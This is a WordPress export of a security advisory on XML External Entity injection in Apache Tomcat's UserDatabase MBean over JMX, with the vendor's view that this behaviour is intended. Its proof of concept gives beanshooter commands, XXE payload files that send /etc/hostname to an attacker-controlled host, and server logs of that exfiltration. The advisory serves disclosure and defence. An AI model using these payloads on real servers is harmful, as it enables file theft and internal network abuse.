{"id":19195,"date":"2022-11-24T13:48:57","date_gmt":"2022-11-24T12:48:57","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19195"},"modified":"2022-11-24T13:49:00","modified_gmt":"2022-11-24T12:49:00","slug":"usd-2022-0036","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0036\/","title":{"rendered":"usd-2022-0036"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.18.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0036 | XML External Entity Injection in Apache Tomcat via JMX<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0036<br \/><strong>Product<\/strong>: Apache Tomcat<br \/><strong>Affected Version<\/strong>: Tested on Apache Tomcat 9.0.58, probably others<br \/><strong>Vulnerability Type<\/strong>: Improper Restriction of XML External Entity Reference (CWE-611)<br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/tomcat.apache.org\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: No<br \/><strong>Vendor Status<\/strong>: Not fixed<\/p>\n<blockquote>\n<p>Tomcat deliberatley allows external xml entities as configuration files are expected to be only controllable by trusted users. Because of this, this issue does not meet the Apache Foundations bar for servicing in a security update.<\/p>\n<\/blockquote>\n<h3>Affected Component(s)<\/h3>\n<p style=\"text-align: left\">The vulnerability affects the <a href=\"\/\/github.com\/apache\/tomcat\/blob\/6382197ad57738dc06209845541c728e584f7c5a\/java\/org\/apache\/catalina\/users\/MemoryUserDatabase.java\">UserDatabase JMX <\/a>component of <em>Apache Tomcat<\/em>. This <em>MBean<\/em> is capable of managing users and roles with access to the <em>Apache Tomcat<\/em> server.<\/p>\n<h3>Description<\/h3>\n<p><em>Apache Tomcat<\/em> is a popular open source webserver for running <em>Java<\/em> based web applications and can be monitored via <em>JMX<\/em>. <em>JMX<\/em> (<em>Java Management Extensions<\/em>), on the other hand, is a popular framework that allows monitoring and maintaining <em>Java <\/em>based applications over the network. Unauthorized access to <em>JMX<\/em> is a well known attack vector that grants the attacker plenty of possibilities to compromise the underlying application server. That being said, the overall exploitability strongly depends on the available <em>MBeans<\/em>, the configured <em>JMX<\/em> permissions and the presence of a <em>Security Manager<\/em>. Depending on the above mentioned settings, the consequences of an attacker with <em>JMX<\/em> access can range from critical <em>Remote Code Execution<\/em> (<em>RCE<\/em>) issues to medium severity information leakage.<\/p>\n<p>Finding new ways of abusing available <em>MBeans<\/em> for malicious purposes is therefore an interesting target for attackers. We identified that the <em>UserDatabase MBean<\/em>, which is available per default on <em>Apache Tomcat<\/em> servers with <em>JMX<\/em> enabled, can be abused for <em>XML External Entity Injection<\/em> (<em>XXE<\/em>) attacks. This may allow an attacker to read local files from the affected system or to perform further requests within the internal network on the affected systems behalf.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>For the following proof of concept, we use an <em>Apache Tomcat<\/em> server located at <strong>172.17.0.2<\/strong> with <em>JMX<\/em> enabled on port <strong>1090<\/strong>. Furthermore, we use the <a href=\"\/\/github.com\/qtc-de\/beanshooter\">beanshooter<\/a> tool to demonstrate a possible attack.<\/p>\n<p>First of all, we can enumerate available methods and attributes from the <em>UserDatabase MBean<\/em> using the following command:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter info <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] ObjectName: Users:type=UserDatabase,database=UserDatabase<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]     Attributes:<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         modelerType (type: java.lang.String , writable: false)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         readonly (type: boolean , writable: false)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         roles (type: [Ljava.lang.String; , writable: false)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         groups (type: [Ljava.lang.String; , writable: false)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         users (type: [Ljava.lang.String; , writable: false)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         pathname (type: java.lang.String , writable: true)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         writable (type: null , writable: false)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]     Operations:<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String findGroup(java.lang.String groupname)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void removeGroup(java.lang.String groupname)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void removeUser(java.lang.String username)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void save()<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String findRole(java.lang.String rolename)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void removeRole(java.lang.String rolename)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String createGroup(java.lang.String groupname, java.lang.String description)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String findUser(java.lang.String username)<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String createRole(java.lang.String rolename, java.lang.String description)<\/span><\/pre>\n<\/div>\n<p><em>Apache Tomcat<\/em> users are usually defined within the file <strong>\/usr\/local\/tomcat\/conf\/tomcat-users.xml<\/strong>, but as one can see, the <strong>pathname<\/strong> property of the <em>UserDatabase<\/em> is writable and it is possible to change the location. Surprisingly, even remote locations are allowed by using a remote <em>URI<\/em> like <em><em><a>http:\/\/172.17.0.1\/test.xml.<\/a><\/em><\/em>This enables an attacker to provide a malicious <em>XML<\/em> file that contains an <em>XXE<\/em> payload. The following listing shows an example where two malicious <em>XML<\/em> files are used to exfiltrate local files using an outbound connection:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[qtc@devbox www]$ <\/span>cat test.xml<span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;?xml version='1.0' encoding='utf-8'?&gt;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;!DOCTYPE tomcat-users [<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;!ENTITY % file SYSTEM \"file:\/\/\/etc\/hostname\"&gt;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;!ENTITY % dtd SYSTEM \"[http:\/\/172.17.0.1:8000\/test.dtd\"&gt;]()<\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">%<\/span>dtd<span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">]&gt;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;tomcat-users xmlns=\"[http:\/\/tomcat.apache.org\/xml\"]()<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">              xmlns:xsi=\"[http:\/\/www.w3.org\/2001\/XMLSchema-instance\"]()<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">              xsi:schemaLocation=\"[http:\/\/tomcat.apache.org\/xml]() tomcat-users.xsd\"<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">              version=\"1.0\"&gt;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">    &amp;send;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;\/tomcat-users&gt;<\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[qtc@devbox www]$ <\/span>cat test.dtd<span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;!ENTITY % all \"&lt;!ENTITY send SYSTEM '[http:\/\/172.17.0.1:8000\/?file=%file;'&gt;\"&gt;]()<\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">%<\/span>all<span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span><\/pre>\n<\/div>\n<p>By changing the <strong>pathname<\/strong> property of the <em>UserDatabase MBean<\/em>, it is possible to load the malicious <em>XML<\/em> documents from an attacker controlled server. After the <em>XML<\/em> files were obtained, the <em>JMX<\/em> server sends the content of the file <strong>\/etc\/hostname<\/strong> to the attacker controlled system:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[qtc@devbox ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase pathname <span class=\"o\" style=\"background: #263238;color: #89ddff\">[<\/span>http:\/\/172.17.0.1:8000\/test.xml<span class=\"o\" style=\"background: #263238;color: #89ddff\">]()<\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[qtc@devbox www]$ <\/span>python3 -m http.server<span class=\"go\" style=\"background: #263238;color: #546e7a\">Serving HTTP on 0.0.0.0 port 8000 ([http:\/\/0.0.0.0:8000\/)]() ...<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">172.17.0.2 - - [02\/Aug\/2022 07:20:35] \"GET \/test.xml HTTP\/1.1\" 200 -<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">172.17.0.2 - - [02\/Aug\/2022 07:20:35] \"GET \/test.dtd HTTP\/1.1\" 200 -<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">172.17.0.2 - - [02\/Aug\/2022 07:20:35] \"GET \/?file=76b0620c44ea HTTP\/1.1\" 200<\/span><\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>Processing of external entities within the user database of <em>Apache Tomcat<\/em> should be disabled by default. Enabling the processing of external entities as a feature can still be possible by creating a corresponding configuration option.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/tomcat.apache.org\/<\/a><\/li>\n<li><a>https:\/\/www.oracle.com\/technical-resources\/articles\/javase\/jmx.html<\/a><\/li>\n<li><a>https:\/\/github.com\/qtc-de\/beanshooter<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-08-02<\/strong>: First contact request via security@tomcat.apache.org.<\/li>\n<li><strong>2022-08-04<\/strong>: Vendor states that <em>\"JMX access should be treated as equivalent to local root\/admin access and restricted accordingly\"<\/em> and that the <em>\"Tomcat configuration files deliberatley allow the use of XXE\"<\/em>.<\/li>\n<li><strong>2022-11-24<\/strong>:<span>\u00a0<\/span><span>This advisory is published<\/span><\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Tobias Neitzel of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0036 | XML External Entity Injection in Apache Tomcat via JMX Advisory ID: usd-2022-0036Product: Apache TomcatAffected Version: Tested on Apache Tomcat 9.0.58, probably othersVulnerability Type: Improper Restriction of XML External Entity Reference (CWE-611)Security Risk: MediumVendor URL: https:\/\/tomcat.apache.org\/Vendor acknowledged vulnerability: NoVendor Status: Not fixed Tomcat deliberatley allows external xml entities as configuration files are expected to [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19195","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19195"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19195\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}